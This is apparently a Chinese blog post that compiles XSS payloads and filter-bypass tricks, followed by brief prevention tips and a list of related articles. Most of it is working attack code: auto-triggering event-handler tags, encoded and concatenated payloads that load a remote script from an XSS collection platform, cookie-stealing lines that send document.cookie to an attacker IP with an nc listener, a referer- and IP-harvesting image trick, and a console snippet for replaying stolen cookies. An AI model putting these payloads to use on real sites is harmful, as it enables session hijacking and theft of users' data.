XSS一些总结

除了script以外大多标签自动加载触发JS代码大多用的都是on事件,以下标签都可以用下面的方法去打Cookie以及url等

  1. 常见标签
  2. <img><input><details><svg><select><iframe>
  3. <video><audio><textarea> <body><Style><Media>
  4. such as: 其他的标签自动触发百度一下就好了
  5. <body onpageshow=alert(1)>
  6. Media 标签是利用音视频标签来加载XSS Payload
  7. 测试了一下自动触发事件的标签
  8. onloadstart: 在浏览器开始寻找指定音视频(audio/video)时触发;
  9. <audio onloadstart=alert(1) src="x.mp3" />
  10. 反射内容
  11. -alert(1)- -prompt(1)- -confirm(1)-
  12. javascript伪协议
  13. <iframe src=javascript:alert('xss');></iframe>
  14. 利用link远程包含js文件
  15. PS:在无CSP的情况下才可以
  16. <link rel=import href="http://127.0.0.1/1.js">

常见的绕过技巧

  1. 1、用/代替空格
  2. <img/src="x"/onerror=alert("xss");>
  3. 2、大小写绕过
  4. 3、双写关键字
  5. 4、字符拼接
  6. 利用eval:
  7. <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
  8. 利用top:
  9. <img src="x" onerror=top["al"+"ert"](`xss`);>
  10. 5、编码绕过
  11. ------------------
  12. Base64编码
  13. ------------------
  14. '"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzOC5jYy9uR1JTIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw== onerror=eval(atob(this.id))>
  15. <iframe src="data:text/html;base64,PHNDUmlQdC9TckM9Ly94c3M4LmNjL25HUlM+">
  16. ------------------
  17. ASCII编码
  18. ------------------
  19. <img src="" onerror="document.write(String.fromCharCode(60,115,67,82,105,80,116,32,115,82,67,61,47,47,120,115,115,56,46,99,99,47,110,71,82,83,62,60,47,115,67,114,73,112,84,62))">
  20. <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
  21. -------------------
  22. 空字节【未成功过,自测】
  23. -------------------
  24. 最长用来绕过mod_security防火墙,形式如下:
  25. <scri%00pt>alert(1);</scri%00pt>
  26. <scri\x00pt>alert(1);</scri%00pt>
  27. <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
  28. 空字节只适用于PHP 5.3.8以上的版本
  29. -------------------
  30. Unicode编码绕过
  31. -------------------
  32. <img src="x" onerror="alert("xss");">
  33. <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
  34. -------------------

常见字符过滤

  1. *过滤<script>利用拼接然后继续使用XSS平台【双写,编码自己自己尝试】
  2. <img src=x onerror=s=createElement('scr'+'ipt');body.appendChild(s);s.src='//xss8.cc/nGRS';>
  3. *过滤单双引号
  4. 如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
  5. <img src="x" onerror=alert(`xss`);>
  6. *过滤括号
  7. 当括号被过滤的时候可以使用throw来绕过
  8. <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
  9. *过滤url地址
  10. 使用URL编码、十进制IP、八进制IPhexhtml标签中用//可以代替http://、使用\\
  11. 使用中文逗号代替英文逗号
  12. 其他的Payload
  13. <svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;
  14. Eval & 其它冗余符号
  15. <img src="x" onerror=eval()>
  16. eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
  17. eval(\'~a~le~rt~~(~~1~~)~\'.replace(/~/g, \'\'))
  18. eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
  19. var x = eval; x(‘alert(1)’)
  20. (1, eval)('alert(1)')
  21. eval.call(null, 'alert(1)')

SVG黑魔法 IMG标签 等其他同理

  1. nc -lvvp 1234
  2. <svg/onload="document.location='http://IP:PORT/?'+document.URL+':'+document.cookie">
  3. <img src=1 onerror="document.location='http://IP:PORT/?'+document.URL+':'+document.cookie">
  4. 获取当前域名URL
  5. window.location.href
  6. document.location
  7. document.URL

图片探测路径

只要对方网站可以调用外部图片(或可自定义HTML)。你就可以拿到对方当前的后台、浏览器、IP地址之类的信息【有些网站做了meta referer设置,referer就抓不到了】

搜索图片XSS即可,XSS平台是有这种的。原理就是图片嵌入了前端的一些代码。

例如:<img src="http://IP/test.php"/>

然后再PHP里面写入获取HTTP_REFERER','REMOTE_ADDR','HTTP_USER_AGENT

即可达到目的

console设置Cookie

  1. var cookiestr="你的打到的cookie内容";var arr = cookiestr.split(";");
  2. for(var i in arr){document.cookie=arr[i];}

前端钓鱼

https://www.cnblogs.com/-qing-/p/10871625.html

apache httponly bypass

  1. 利用apache server head limit 8192字节限制, 400状态页爆出httponly保护的cookie

预防XSS

CSP策略:https://www.zhihu.com/question/21979782

PHP的函数:htmlspecialchars、htmlentities

​ htmlspecialchars默认配置是不过滤单引号的。只有设置了:quotestyle 选项为ENT_QUOTES才会过滤单引号,所以咋只要'onmouseover='alert(document.domain)这样既可绕过,根据实际情况来吧。

参考:https://xz.aliyun.com/t/4067

https://www.cnblogs.com/-qing-/p/10872564.html

XSS一些总结的更多相关文章

  1. 防御XSS攻击-encode用户输入内容的重要性

    一.开场先科普下XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶 ...

  2. XSS

    XSS的含义 XSS(Cross Site Scripting)即跨站脚本.跨站的主要内容是在脚本上. 跨站脚本 跨站脚本的跨,体现了浏览器的特性,可以跨域.所以也就给远程代码或者第三方域上的代码提供 ...

  3. 【XSS】延长 XSS 生命期

    XSS 的本质仍是一段脚本.和其他文档元素一样,页面关了一切都销毁.除非能将脚本蔓延到页面以外的地方,那样才能获得更长的生命力. 庆幸的是,从 DOM 诞生的那一天起,就已为我们准备了这个特殊的功能, ...

  4. 探索ASP.NET MVC5系列之~~~2.视图篇(上)---包含XSS防御和异步分部视图的处理

    其实任何资料里面的任何知识点都无所谓,都是不重要的,重要的是学习方法,自行摸索的过程(不妥之处欢迎指正) 汇总:http://www.cnblogs.com/dunitian/p/4822808.ht ...

  5. XSS分析及预防

    XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开发人员忽视,最终可能造成对个人信息 ...

  6. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  7. xss和sql注入原理学习

    8.4 Web跨站脚本攻击 8.4.1  跨站脚本攻击的原理(1) 跨站脚本在英文中称为Cross-Site Scripting,缩写为CSS.但是,由于层叠样式表 (Cascading Style ...

  8. XSS 前端防火墙 —— 整装待发

    到目前为止,我们把能用前端脚本防御 XSS 的方案都列举了一遍. 尽管看起来似乎很复杂累赘,不过那些是理论探讨而已,在实际中未必要都实现.我们的目标只是为了预警,能发现问题就行,并非要做到滴水不漏的程 ...

  9. XSS 前端防火墙 —— 天衣无缝的防护

    上一篇讲解了钩子程序的攻防实战,并实现了一套对框架页的监控方案,将防护作用到所有子页面. 到目前为止,我们防护的深度已经差不多,但广度还有所欠缺. 例如,我们的属性钩子只考虑了 setAttribut ...

  10. XSS 前端防火墙 —— 无懈可击的钩子

    昨天尝试了一系列的可疑模块拦截试验,尽管最终的方案还存在着一些兼容性问题,但大体思路已经明确了: 静态模块:使用 MutationObserver 扫描. 动态模块:通过 API 钩子来拦截路径属性. ...

随机推荐

  1. Systemverilog MCDF寄存器描述

    前三个寄存器是读写寄存器(控制寄存器) (一)地址0x00 :32bit bit[0]通道使能,1打开,0关闭.复位1. bit[2:1]优先级,0最高 bit[5:3]数据包长度,是解码对应的. 0 ...

  2. Win10 安装 Python3 (上)

    Python3 For Windows 10 installer 参考 The full installer 安装 随后可以看到,installer 在用户环境变量PATH中,添加了三项: 卸载 使用 ...

  3. MongoDB学习笔记:文档Crud Shell

    MongoDB学习笔记:文档Crud Shell   文档插入 一.插入语法 db.collection.insertOne() 将单个文档插入到集合中.db.collection.insertMan ...

  4. NGINX缓存使用官方指南

    我们都知道,应用程序和网站一样,其性能关乎生存.但如何使你的应用程序或者网站性能更好,并没有一个明确的答案.代码质量和架构是其中的一个原因,但是在很多例子中我们看到,你可以通过关注一些十分基础的应用内 ...

  5. Python+Selenium学习笔记6 - 定位

    1.8种针对单个元素的定位方法 find_element_by_id() find_element_by_name() find_element_by_class_name() find_elemen ...

  6. NVIDIA深度架构

    NVIDIA深度架构 本文介绍A100 GPU,NVIDIA Ampere架构GPU的重要新功能. 现代云数据中心中运行的计算密集型应用程序的多样性推动了NVIDIA GPU加速的云计算的爆炸式增长. ...

  7. 华为4D成像雷达、智能驾驶平台MDC 810

    华为4D成像雷达.智能驾驶平台MDC 810 2020年10月底,华为发布了HI品牌,在今年2021年上海国际车展前夕,华为以 "专新致智" 为主题,举办HI新品发布会,发布了包括 ...

  8. 人脸真伪验证与识别:ICCV2019论文解析

    人脸真伪验证与识别:ICCV2019论文解析 Face Forensics++: Learning to Detect Manipulated Facial Images 论文链接: http://o ...

  9. C# & JS 判断字符串是否为日期格式

    在C#中,对格式的判断有一类专门函数,那就是TryParse.TryParse在各个不同的类型类(如int,string,DateTime)中,都是存在的.在TryParse中一般有两个参数,一个是待 ...

  10. pycham_编码格式设置,处理打印log乱码,处理读取配置文件报错

    一.打印日志乱码,处理设置如下: 二.配置文件读取方法因为gbk编码配置后需要同步修改 原报错信息: